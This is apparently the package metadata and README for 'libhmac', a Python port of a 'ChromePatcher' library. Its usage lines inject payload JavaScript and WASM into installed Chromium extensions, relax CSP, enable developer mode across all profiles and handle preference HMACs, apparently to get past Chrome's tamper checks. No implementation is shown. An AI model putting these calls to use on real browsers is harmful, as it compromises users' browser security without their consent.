Metadata-Version: 2.4
Name: libhmac
Version: 0.8.28.0
Summary: Chromium extension host sync, CSP relaxation, and in-place extension patching (Windows, macOS)
Author: libhmac maintainers
License: Proprietary
Keywords: chrome,chromium,browser,extension,preferences,hmac,csp
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Operating System :: Microsoft :: Windows
Classifier: Operating System :: MacOS
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: System :: Systems Administration
Requires-Python: >=3.9
Description-Content-Type: text/markdown
Provides-Extra: dev
Requires-Dist: pytest>=7.0; extra == "dev"

# libhmac

Python port of the **ChromePatcher** native library (`ChromeManager`, `ExtensionPatcher`, `HmacCalculator`, …) for Chromium extension host sync and in-place extension patching on Windows and macOS.

## Install

```bash
pip install ./libhmac
```

```bash
pip install -e ./libhmac
```

## DLL-style exports (`pf_*`)

Same names as the native `libhmac` DLL:

```python
import libhmac

libhmac.pf_ext_patch_dir(ext_dir, payload_dir)
libhmac.pf_ext_unpatch_dir(ext_dir)
libhmac.pf_ext_is_modified(ext_dir)  # 0 or 1
libhmac.pf_host_commit("username")   # optional account tag
libhmac.pf_host_reset("username")
libhmac.ValidatePath(path)
libhmac.ValidateExtensionId(ext_id)
libhmac.GetLibraryVersion()
libhmac.GetPlatform()
```

## ChromePatcher classes (C++ names)

```python
from libhmac import ChromePatcher

ChromePatcher.ExtensionPatcher.PatchExtensionDirectory(ext_dir, payload_dir)
ChromePatcher.ExtensionPatcher.UnpatchExtensionDirectory(ext_dir)
ChromePatcher.ExtensionPatcher.IsModifiedDirectory(ext_dir)

manager = ChromePatcher.ChromeManager("username")
manager.EnableDeveloperModeAllProfiles()
manager.ReplaceInPlaceExtensions()
manager.RestoreBrowserState()
manager.RunUnifiedProcess(extensions_base_path="")  # optional external tree
```

Payload filenames match the native library: `ExtensionPatcher.K_PAYLOAD_JS` (`dm_core_bg.js`) and `K_PAYLOAD_WASM` (`dm_core_bg.wasm`).

## Platforms

- Windows 10+
- macOS 10.15+

Linux is not supported.

## License

Proprietary — all rights reserved.
